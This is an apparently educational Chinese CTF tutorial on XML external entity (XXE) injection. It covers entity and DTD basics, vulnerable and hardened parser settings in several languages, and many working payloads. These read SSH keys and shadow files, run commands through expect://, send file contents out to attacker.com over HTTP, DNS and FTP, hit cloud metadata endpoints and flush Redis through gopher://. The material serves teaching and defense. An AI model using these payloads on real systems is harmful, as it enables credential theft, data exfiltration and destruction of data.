P09 XXE 漏洞

2022-03-11 CTF-WEB 詹英

梳理 XML 外部实体注入(XML External Entity Injection,XXE)漏洞的原理、XML 实体知识体系、各类利用技巧、无回显利用方法及 WAF 绕过手法。

一、XML 基础

1.1 XML 文档结构

<?xml version="1.0" encoding="UTF-8"?>   <!-- XML 声明 -->
<!DOCTYPE root [                           <!-- DTD 声明(内部子集)-->
  <!ELEMENT root (child)>                  <!-- 元素声明 -->
  <!ATTLIST root id CDATA #REQUIRED>       <!-- 属性声明 -->
  <!ENTITY name "value">                   <!-- 实体声明 -->
]>
<root id="1">                              <!-- 根元素 -->
  <child>&name;</child>                    <!-- 实体引用 -->
</root>

XML 文档的五种组成部分:

组成部分 说明 示例
声明 XML 版本与编码 <?xml version="1.0"?>
元素 数据节点 <tag>content</tag>
属性 元素附加信息 <tag attr="val">
实体 可复用的数据单元 &amp; &lt;
注释 说明文字 <!-- comment -->

1.2 实体完整分类体系

XML 实体
├── 内置实体(预定义)
│   ├── &lt;    →  <
│   ├── &gt;    →  >
│   ├── &amp;   →  &
│   ├── &quot;  →  "
│   └── &apos;  →  '
│
├── 字符实体(Character Reference)
│   ├── &#60;   →  <  (十进制)
│   └── &#x3C;  →  <  (十六进制)
│
├── 通用实体(General Entity)
│   ├── 内部实体(Internal Entity)
│   │   └── <!ENTITY name "value">
│   └── 外部实体(External Entity)  ← XXE 漏洞核心
│       ├── <!ENTITY name SYSTEM "uri">
│       └── <!ENTITY name PUBLIC "id" "uri">
│
└── 参数实体(Parameter Entity)  ← Blind XXE 关键
    ├── 内部参数实体
    │   └── <!ENTITY % name "value">
    └── 外部参数实体
        └── <!ENTITY % name SYSTEM "uri">

1.3 各类实体语法详解

<!-- ══ 内部通用实体 ══ -->
<!ENTITY author "Alice">
<!-- 使用:&author;  →  Alice -->

<!-- ══ 外部通用实体(核心攻击面)══ -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!-- 使用:&xxe;  →  /etc/passwd 文件内容 -->

<!ENTITY xxe SYSTEM "http://attacker.com/evil.xml">
<!-- SYSTEM 关键字指定 URI,支持 file:// http:// ftp:// 等协议 -->

<!-- PUBLIC 实体(含公共标识符)-->
<!ENTITY name PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
                      "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<!-- ══ 内部参数实体 ══ -->
<!ENTITY % param "value">
<!-- 使用:%param;(只能在 DTD 内部使用,不能在 XML 内容中)-->

<!-- ══ 外部参数实体(Blind XXE 核心)══ -->
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
<!-- 从远程加载 DTD 并立即执行其中的实体定义 -->

<!-- ══ 实体嵌套(参数实体引用其他实体)══ -->
<!ENTITY % payload "<!ENTITY exfil SYSTEM 'http://attacker.com/?d=%file;'>">
<!-- 注意:通用实体不能直接在 DTD 声明中引用,需通过参数实体间接引用 -->

1.4 实体引用规则

通用实体引用规则:
  &name;          在 XML 内容(元素文本、属性值)中使用
  %name;          在 DTD 内部使用(参数实体引用)

实体解析限制:
  ① 内部子集(文档内 DTD)中不能直接嵌套参数实体构建外部实体
  ② 外部 DTD 文件中可以嵌套参数实体
  ③ 通用实体不能在其自身定义的 DTD 中被引用(防止递归)
  ④ 参数实体只能在 DTD 上下文中使用

协议支持(默认):
  file://     本地文件
  http://     HTTP 请求
  https://    HTTPS 请求
  ftp://      FTP 请求
  php://      PHP 流(PHP 环境)
  expect://   执行命令(需 expect 扩展,PHP)
  jar://      JAR 文件(Java)
  gopher://   Gopher 协议(某些环境)
  netdoc://   Java 特有
  dict://     字典协议(某些环境)

二、DTD 详解

2.1 DTD 的三种来源

<!-- ══ 内部 DTD(Internal Subset)══ -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- DTD 直接内嵌在 XML 文档中,最常用的 XXE 注入方式 -->

<!-- ══ 外部 DTD(External Subset)══ -->
<?xml version="1.0"?>
<!DOCTYPE root SYSTEM "http://attacker.com/evil.dtd">
<root>&xxe;</root>
<!-- 引用外部 DTD 文件,适合 Blind XXE 带外传输 -->

<!-- ══ 混合使用 ══ -->
<?xml version="1.0"?>
<!DOCTYPE root SYSTEM "http://attacker.com/base.dtd" [
  <!ENTITY local "override">
]>
<!-- 外部 DTD + 内部覆盖 -->

2.2 外部 DTD 文件示例

<!-- 攻击者服务器上的 evil.dtd -->

<!-- 简单文件读取版本 -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">

<!-- 带外传输版本(读取内容发送到攻击者) -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%exfil;
<!-- 注意:此处 %file; 在实体定义中使用(可行),%exfil; 触发嵌套定义 -->

2.3 参数实体嵌套限制与绕过

<!-- ══ 错误写法(内部子集中不能直接嵌套参数实体)══ -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/?d=%file;'>">
  <!-- ↑ 在内部子集中,%file; 在实体定义内不会被解析!-->
  %eval;
  &exfil;
]>

<!-- ══ 正确写法(通过外部 DTD 绕过限制)══ -->
<!-- 文档中的 DTD -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<root>&exfil;</root>

<!-- 攻击者的 evil.dtd(外部文件,无此限制)-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/?d=%file;'>">
%eval;
<!-- 在外部 DTD 中,参数实体嵌套是合法的!-->

三、XXE 漏洞原理

3.1 漏洞成因

正常 XML 处理:
  客户端发送 XML → 服务器解析 → 提取数据 → 响应

XXE 攻击流程:
  攻击者注入含外部实体的 XML
         ↓
  XML 解析器解析 DOCTYPE 声明
         ↓
  解析器加载外部实体(访问文件/URL)
         ↓
  将外部资源内容替换实体引用
         ↓
  应用程序使用替换后的内容(文件内容/请求响应)
         ↓
  信息泄露 / SSRF / DoS / RCE

3.2 漏洞必要条件

① 应用程序接收并解析 XML 格式的输入
② XML 解析器被配置为允许解析外部实体(多数解析器默认允许!)
③ 解析器具有访问目标资源的权限(文件读取权限 / 网络访问权限)
④ 解析结果在某种形式上反映给攻击者(有回显 / 报错 / 带外)
   ← 注:④ 不是必须条件,Blind XXE 在无回显时仍可利用

3.3 XXE 危害分类

危害类型 利用方式 危害等级
任意文件读取 file:// 协议读取服务器文件 🔴 严重
SSRF 通过 http:// 发起内网请求 🔴 严重
端口扫描 通过请求响应探测内网端口开放 🟡 高
RCE expect:// 协议执行命令(PHP) 🔴 严重
拒绝服务 十亿笑脸攻击(实体指数展开) 🟡 高
内网服务探测 通过 SSRF 访问内网 API / 服务 🟡 高
敏感信息泄露 读取配置文件 / 密钥 / 源码 🔴 严重
钓鱼攻击 通过 XXE 发起 URL 请求(配合 SSRF) 🟡 高

3.4 常见触发场景

① 文件上传(SVG / XML / DOCX / XLSX / PPTX)
   - SVG 图片处理
   - Office 文档(OOXML 格式本质是 XML)
   - RSS/Atom 订阅解析

② API 接口(Content-Type: application/xml)
   - RESTful API 接受 XML 请求体
   - SOAP Web Service

③ 配置文件解析
   - Spring / Hibernate 配置文件
   - Maven pom.xml

④ 前端提交表单
   - 将 HTML 表单转为 XML 提交
   - XHR / Fetch 发送 XML

⑤ 数据交换格式
   - XML-RPC
   - SAML(SSO 认证)← 高危!
   - WebDAV

四、各语言危险解析函数

4.1 PHP 危险函数

<?php
// ══ simplexml_load_string(最常见)══
$xml = simplexml_load_string($_POST['xml']);
// 默认允许外部实体!

// 安全写法:禁用外部实体
$xml = simplexml_load_string(
    $_POST['xml'],
    'SimpleXMLElement',
    LIBXML_NOENT | LIBXML_NONET  // 注:这两个参数反而会启用/关闭不同功能
);
// 正确禁用:
libxml_disable_entity_loader(true);  // PHP 7.x(PHP 8 默认禁用)
$xml = simplexml_load_string($_POST['xml']);

// ══ DOMDocument ══
$dom = new DOMDocument();
$dom->loadXML($_POST['xml']);         // 危险!
$dom->load('file.xml');              // 危险!
$dom->loadHTMLFile('file.html');     // HTML 模式,XXE 有限

// 安全写法
$dom = new DOMDocument();
libxml_disable_entity_loader(true);
$dom->loadXML($_POST['xml']);

// ══ XMLReader ══
$reader = XMLReader::xml($_POST['xml']);   // 危险!
$reader = new XMLReader();
$reader->open('file.xml');                // 危险!

// ══ SimpleXMLElement(直接实例化)══
$xml = new SimpleXMLElement($_POST['xml']);  // 危险!

// ══ xml_parse / xml_parser_create(SAX 解析)══
$parser = xml_parser_create();
xml_parse($parser, $_POST['xml']);  // 通常不受 XXE 影响(取决于版本)

// ══ libxml_set_external_entity_loader(自定义加载器)══
libxml_set_external_entity_loader(function($publicId, $systemId, $context) {
    return null;  // 返回 null 阻止外部实体加载
});

// PHP XXE 特有:PHP 协议
// expect:// 协议(需要 expect 扩展,可直接 RCE)
// <!ENTITY cmd SYSTEM "expect://id">

// php:// 协议(可绕过某些文件读取限制)
// <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

4.2 Java 危险解析

// ══ DocumentBuilderFactory(DOM 解析)══
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));  // 危险!

// 安全写法(禁用所有外部实体相关特性)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();

// ══ SAXParserFactory ══
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(xml)), handler);  // 危险!

// ══ XMLInputFactory(StAX 解析)══
XMLInputFactory xif = XMLInputFactory.newInstance();
XMLStreamReader reader = xif.createXMLStreamReader(new StringReader(xml));  // 危险!

// 安全写法
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false);

// ══ TransformerFactory(XSLT 变换)══
TransformerFactory tf = TransformerFactory.newInstance();
Transformer t = tf.newTransformer(new StreamSource(xslt));  // 危险!

// ══ Validator(Schema 验证)══
SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = sf.newSchema(new StreamSource(schemaStream));  // 危险!

// ══ Java 特有协议 ══
// jar://   可以读取 JAR 文件内的条目,还可以引发文件锁定
// netdoc:// 类似 file://,在某些场景绕过检测
// 示例:<!ENTITY xxe SYSTEM "jar:file:///path/to/file.jar!/entry">

4.3 Python 危险解析

# ══ lxml(默认不安全)══
from lxml import etree

tree = etree.parse('file.xml')           # 危险!
tree = etree.fromstring(xml_string)      # 危险!

# 安全写法
parser = etree.XMLParser(
    resolve_entities=False,   # 不解析实体
    no_network=True,          # 禁止网络访问
    load_dtd=False,           # 不加载 DTD
    dtd_validation=False
)
tree = etree.fromstring(xml_string, parser)

# ══ xml.etree.ElementTree(标准库)══
import xml.etree.ElementTree as ET
tree = ET.parse('file.xml')             # Python < 3.8 危险!
tree = ET.fromstring(xml_string)        # Python < 3.8 危险!
# Python 3.8+ 默认禁止外部实体,但仍需注意

# ══ xml.dom.minidom ══
from xml.dom import minidom
doc = minidom.parseString(xml_string)   # 危险!
doc = minidom.parse('file.xml')         # 危险!

# ══ xml.sax ══
import xml.sax
xml.sax.parseString(xml_string, handler)  # 危险!

# ══ xmltodict ══
import xmltodict
data = xmltodict.parse(xml_string)      # 底层使用 expat,较安全但需验证

# ══ defusedxml(安全替代库)══
import defusedxml.ElementTree as ET     # 安全!
import defusedxml.minidom as minidom    # 安全!
import defusedxml.sax as sax            # 安全!
# defusedxml 默认禁止所有危险 XML 特性

4.4 其他语言

// ══ Node.js ══
// libxmljs(危险!默认允许外部实体)
const libxml = require('libxmljs');
const doc = libxml.parseXml(xml);  // 危险!

// 安全写法
const doc = libxml.parseXml(xml, { noent: false, dtdload: false });

// xml2js(相对安全,但取决于底层解析器)
const xml2js = require('xml2js');
xml2js.parseString(xml, callback);  // 通常安全

// ══ Ruby ══
require 'nokogiri'
# Nokogiri 默认禁用外部实体(1.5.4+ 版本)
doc = Nokogiri::XML(xml)  # 相对安全

# REXML
require 'rexml/document'
doc = REXML::Document.new(xml)  # 危险!(某些版本)

// ══ .NET ══
// XmlDocument(危险!)
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.XmlResolver = new XmlUrlResolver();  // 开启外部实体
xmlDoc.LoadXml(xml);  // 危险!

// 安全写法
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.XmlResolver = null;  // 禁用外部实体
xmlDoc.LoadXml(xml);

// XmlTextReader(危险!.NET < 4.5.2)
XmlTextReader reader = new XmlTextReader(stream);  // 危险!
// .NET 4.0+ 安全:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
XmlReader reader = XmlReader.Create(stream, settings);

五、有回显 XXE 利用

5.1 基础文件读取

<!-- ══ 基础 Payload(读取 /etc/passwd)══ -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

<!-- ══ 读取 Windows 文件 ══ -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><data>&xxe;</data></root>

<!-- ══ 读取绝对路径 ══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/shadow">
]>
<foo><bar>&xxe;</bar></foo>

<!-- ══ 读取 Web 应用配置(相对路径 / 绝对路径)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
  <!ENTITY key SYSTEM "file:///root/.ssh/id_rsa">
  <!ENTITY env SYSTEM "file:///proc/self/environ">
]>
<foo>
  <config>&xxe;</config>
  <ssh_key>&key;</ssh_key>
  <env>&env;</env>
</foo>

5.2 PHP 协议扩展读取

<!-- ══ php://filter 读取 PHP 源码(避免被执行)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<foo><bar>&xxe;</bar></foo>
<!-- 返回 Base64 编码的 PHP 源码,避免 < > 等字符破坏 XML 结构 -->

<!-- ══ 多重过滤器 ══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=config.php">
]>
<foo>&xxe;</foo>

<!-- ══ php://input(配合 POST 数据)══ -->
<!-- 某些场景下 PHP 的 php://input 可读取原始 POST 数据 -->

<!-- ══ expect://(RCE,需要 expect 扩展)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY cmd SYSTEM "expect://id">
]>
<foo>&cmd;</foo>
<!-- 输出:uid=33(www-data) gid=33(www-data) groups=33(www-data) -->

5.3 常见敏感文件路径

# Linux 系统文件
/etc/passwd               用户账户信息
/etc/shadow               用户密码哈希(需 root 权限)
/etc/hosts                主机名解析
/etc/hostname             主机名
/etc/os-release           系统版本信息
/proc/self/environ        当前进程环境变量(含 SECRET_KEY 等)
/proc/self/cmdline        当前进程命令行
/proc/self/cwd            当前工作目录(符号链接)
/proc/self/exe            当前可执行文件(符号链接)
/proc/self/fd/0           标准输入
/proc/self/maps           内存映射信息
/proc/net/tcp             网络连接(内网端口探测)
/proc/net/arp             ARP 表(内网 IP 发现)
/var/log/apache2/access.log    Apache 访问日志
/var/log/nginx/access.log      Nginx 访问日志
/root/.ssh/id_rsa         root 私钥
/root/.ssh/authorized_keys
/home/user/.ssh/id_rsa
/var/www/html/.env        环境变量配置(Laravel 等框架)

# Web 应用文件
/var/www/html/config.php
/var/www/html/wp-config.php       WordPress
/var/www/html/configuration.php   Joomla
/etc/nginx/nginx.conf
/etc/apache2/apache2.conf
/etc/apache2/sites-enabled/000-default.conf

# Windows 系统文件
C:/Windows/win.ini
C:/Windows/System32/drivers/etc/hosts
C:/inetpub/wwwroot/web.config
C:/xampp/apache/conf/httpd.conf
C:/Users/Administrator/.ssh/id_rsa
C:/Windows/System32/config/SAM      (通常被锁定)
C:/boot.ini

5.4 在 XML 属性中利用实体

<!-- 实体引用可以出现在属性值中 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo bar="&xxe;">content</foo>

<!-- 也可以在多个位置同时使用 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<request>
  <username>&f;</username>
  <action>login</action>
</request>

六、无回显 XXE(Blind XXE)

6.1 Blind XXE 原理

有回显 XXE:
  XML 解析 → 实体内容替换到 XML 节点 → 应用返回节点内容给攻击者

Blind XXE(无回显):
  应用不返回 XML 内容,但解析器仍然处理外部实体
  → 利用 DNS/HTTP 带外通道将数据传输到攻击者控制的服务器

带外(Out-of-Band,OOB)数据传输方式:
  ① HTTP 请求(最常用):数据附加在 URL 参数中
  ② DNS 请求:数据编码后作为子域名
  ③ FTP 数据连接(某些解析器支持 ftp://)

6.2 基于 HTTP 的带外传输

<!-- ══ Step 1:检测是否存在 Blind XXE(DNSlog)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://your-dnslog.burpcollaborator.net/detect">
]>
<foo>&xxe;</foo>
<!-- 若 DNSlog/Burp Collaborator 收到 HTTP 请求,证明存在 Blind XXE -->

<!-- ══ Step 2:通过外部 DTD 传输文件内容(HTTP)══ -->
<!-- 文档中发送的 XML -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<foo>&exfil;</foo>

<!-- 攻击者服务器 evil.dtd 内容 -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/collect?data=%file;'>">
%eval;
<!-- %eval 展开时,其中的 %file 被替换为文件内容,定义了 exfil 实体 -->
<!-- 当 XML 中使用 &exfil; 时,发出 HTTP 请求,携带文件内容 -->

6.3 仅使用参数实体的带外传输(无需通用实体)

<!-- ══ 只用参数实体,不依赖通用实体 ══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
  %eval;    <!-- 触发嵌套定义的 %exfil 实体 -->
  %exfil;   <!-- 直接在 DTD 中通过参数实体发起请求 -->
]>
<foo>trigger</foo>

<!-- 对应的 evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>">
<!-- 说明:
     %file  → 文件内容字符串
     %eval  → 展开后定义了 %exfil 实体(将 %file 嵌入 URL)
     %exfil → 展开时发起 HTTP 请求,携带文件内容 -->

6.4 处理特殊字符(Base64 编码)

<!-- 问题:文件内容可能包含 & < > 等 XML 特殊字符,破坏 URL 或实体定义 -->
<!-- 解决:通过 PHP 协议 Base64 编码后再传输 -->

<!-- PHP 环境下:先 Base64 编码,再带外传输 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<foo>&exfil;</foo>

<!-- evil.dtd(PHP 环境,用 php://filter Base64 编码)-->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/collect?data=%file;'>">
%eval;
<!-- 文件内容被 Base64 编码,不含特殊字符,安全传输 -->

6.5 DNS 带外传输

<!-- ══ DNS 带外(数据编码为子域名)══ -->
<!-- 限制:DNS 子域名有字符和长度限制(63字符/段,253字符总长),
     适合传输少量数据(如文件前几行) -->

<!-- 攻击者的 evil.dtd(DNS 外带版)-->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://%file;.attacker.com/'>">
%eval;
<!-- hostname 内容作为子域名发出 DNS 请求 -->
<!-- 需要配置 *.attacker.com 的通配符 DNS 记录 -->

<!-- 使用工具:
     Burp Collaborator(自动捕获 DNS / HTTP)
     DNSlog.cn(免费)
     ceye.io
     interact.sh(开源)-->

6.6 FTP 带外传输(多行数据)

<!-- FTP 协议可传输多行内容(比 HTTP URL 参数更适合传输文件) -->
<!-- 攻击者需要启动 FTP 服务器监听 -->

<!-- evil.dtd(FTP 外带版)-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'ftp://attacker.com:2121/%file;'>">
%eval;

<!-- 攻击者的 FTP 服务器(简易 Python 版)-->
# 简易 FTP 服务器(接收 XXE 带外数据)
import socket

def ftp_server(host='0.0.0.0', port=2121):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((host, port))
    sock.listen(5)
    print(f"[*] FTP server listening on {host}:{port}")

    while True:
        conn, addr = sock.accept()
        print(f"[+] Connection from {addr}")
        conn.send(b"220 FTP Server\r\n")

        data = b""
        while True:
            chunk = conn.recv(4096)
            if not chunk:
                break
            data += chunk
            print(f"[DATA] {chunk}")
            # 响应所有命令(简单确认)
            if b"\r\n" in chunk:
                conn.send(b"230 OK\r\n")
        conn.close()
        print(f"[+] Received: {data}")

ftp_server()

6.7 Blind XXE 自动化工具

# ── XXEinjector(Ruby)──
git clone https://github.com/enjoiz/XXEinjector
ruby XXEinjector.rb --host=attacker.com --httpport=8080 \
  --file=/tmp/request.txt --path=/etc/passwd --oob=http

# ── xxe-recursive-download ──
# 使用 FTP 协议递归下载文件

# ── Burp Suite Collaborator ──
# 在 Burp 的 XXE Payload 中使用 Collaborator 域名
# 自动捕获 HTTP/DNS/SMTP 带外请求

# ── interactsh(开源 Collaborator 替代)──
# https://github.com/projectdiscovery/interactsh
interactsh-client  # 获取唯一域名,监控所有交互

七、报错型 XXE

7.1 利用 XML 解析报错泄露数据

<!-- 当应用有报错信息但不回显实体内容时,可利用报错泄露数据 -->
<!-- 原理:构造一个非法 URI,将文件内容嵌入 URI,触发报错 -->

<!-- evil.dtd(报错型)-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!-- 当尝试访问 file:///nonexistent/<passwd内容> 时,
     解析器报错并在错误信息中包含了 passwd 内容! -->

<!-- 文档中的 XML -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<foo>trigger</foo>

<!-- 服务器返回类似的报错:
     java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
     www-data:x:33:33:...
     这样文件内容就在错误信息中泄露了 -->

7.2 PHP 报错型 XXE

<!-- PHP 环境下的报错型 XXE -->
<!-- 利用 PHP 的 URI 解析错误 -->

<!-- evil.dtd -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///invalid/%file;'>">
%eval;
%error;
<!-- &#x25; 是 % 的 XML 字符实体,用于在实体定义内嵌套参数实体引用 -->

7.3 Java 报错型 XXE

<!-- Java 环境下,通过 jar:// 协议触发报错 -->
<!-- Java 在解析 jar:// URI 时会先下载 jar 文件,
     若文件内容不是合法 JAR,报错信息中可能包含内容 -->

<!-- evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'jar:file:///invalid//%file;.jar!/'>">
%eval;
%error;

八、基于参数实体的高级利用

8.1 参数实体在外部 DTD 中的无限制嵌套

<!-- 外部 DTD 中可以自由嵌套参数实体(无内部子集的限制)-->

<!-- 攻击者的 evil.dtd(多级嵌套)-->
<!ENTITY % a "<!ENTITY % b 'value'>">
%a;
%b;
<!-- 先定义 %a,%a 展开后定义了 %b,再展开 %b -->

<!-- 带文件内容的多级嵌套 -->
<!ENTITY % f SYSTEM "file:///etc/passwd">
<!ENTITY % g "<!ENTITY % h SYSTEM 'http://attacker.com/collect?data=%f;'>">
%g;
%h;

8.2 实体递归与 DoS(十亿笑脸攻击)

<!-- Billion Laughs Attack(亿笑攻击)-->
<!-- 指数级实体展开,耗尽内存/CPU,造成 DoS -->

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
<!-- lol9 展开后是 10^9 个 "lol",约 3GB 数据!-->

<!-- 变体:二次方爆炸 -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY x0 "AAAAAAAAAA">           <!-- 10 bytes -->
  <!ENTITY x1 "&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;">  <!-- 100 bytes -->
  <!ENTITY x2 "&x1;&x1;&x1;&x1;&x1;&x1;&x1;&x1;&x1;&x1;">  <!-- 1KB -->
  <!ENTITY x3 "&x2;&x2;&x2;&x2;&x2;&x2;&x2;&x2;&x2;&x2;">  <!-- 10KB -->
  <!-- 继续扩展... -->
]>
<root>&x3;</root>

8.3 XInclude 注入

<!-- XInclude 是 XML 规范的一部分,某些解析器支持 -->
<!-- 当无法修改 DOCTYPE 时,可尝试 XInclude -->

<!-- 标准 XInclude 语法 -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" parse="text"/>
</foo>

<!-- 某些解析器支持:parse="text" 将文件作为文本包含 -->
<!-- parse="xml" 将文件作为 XML 解析并包含 -->

<!-- 注入场景:若服务器将用户数据嵌入 XML 结构 -->
<data xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" parse="text"/>
</data>

九、XXE 转 SSRF

9.1 基础 SSRF

<!-- ══ 探测内网开放服务 ══ -->
<!-- 通过响应时间或错误信息判断端口状态 -->

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://192.168.1.1:80/">
]>
<foo>&xxe;</foo>
<!-- 端口开放:正常响应或 HTTP 错误(快速)-->
<!-- 端口关闭:连接拒绝或超时(较慢)-->

<!-- ══ 内网 IP 段扫描 ══ -->
<!-- 逐一测试 192.168.1.1 ~ 192.168.1.254 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://192.168.1.100/">
]>
<foo>&xxe;</foo>

<!-- ══ 内网端口扫描 ══ -->
<!-- 常见端口:22/80/443/3306/6379/8080/8443/27017 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:3306/">
]>
<foo>&xxe;</foo>
<!-- MySQL 握手包可能在响应中泄露版本信息 -->

9.2 访问内网服务

<!-- ══ 访问 AWS 元数据服务 ══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<foo>&xxe;</foo>

<!-- AWS 敏感路径 -->
<!-- http://169.254.169.254/latest/meta-data/iam/security-credentials/ -->
<!-- http://169.254.169.254/latest/user-data/ -->
<!-- http://169.254.169.254/latest/meta-data/instance-id -->

<!-- ══ 访问 GCP 元数据 ══ -->
<!-- http://metadata.google.internal/computeMetadata/v1/ -->

<!-- ══ 访问内网 API ══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-api.company.com:8080/admin/users">
]>
<foo>&xxe;</foo>

<!-- ══ 访问 Redis(通过 Gopher 协议)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A">
]>
<foo>&xxe;</foo>
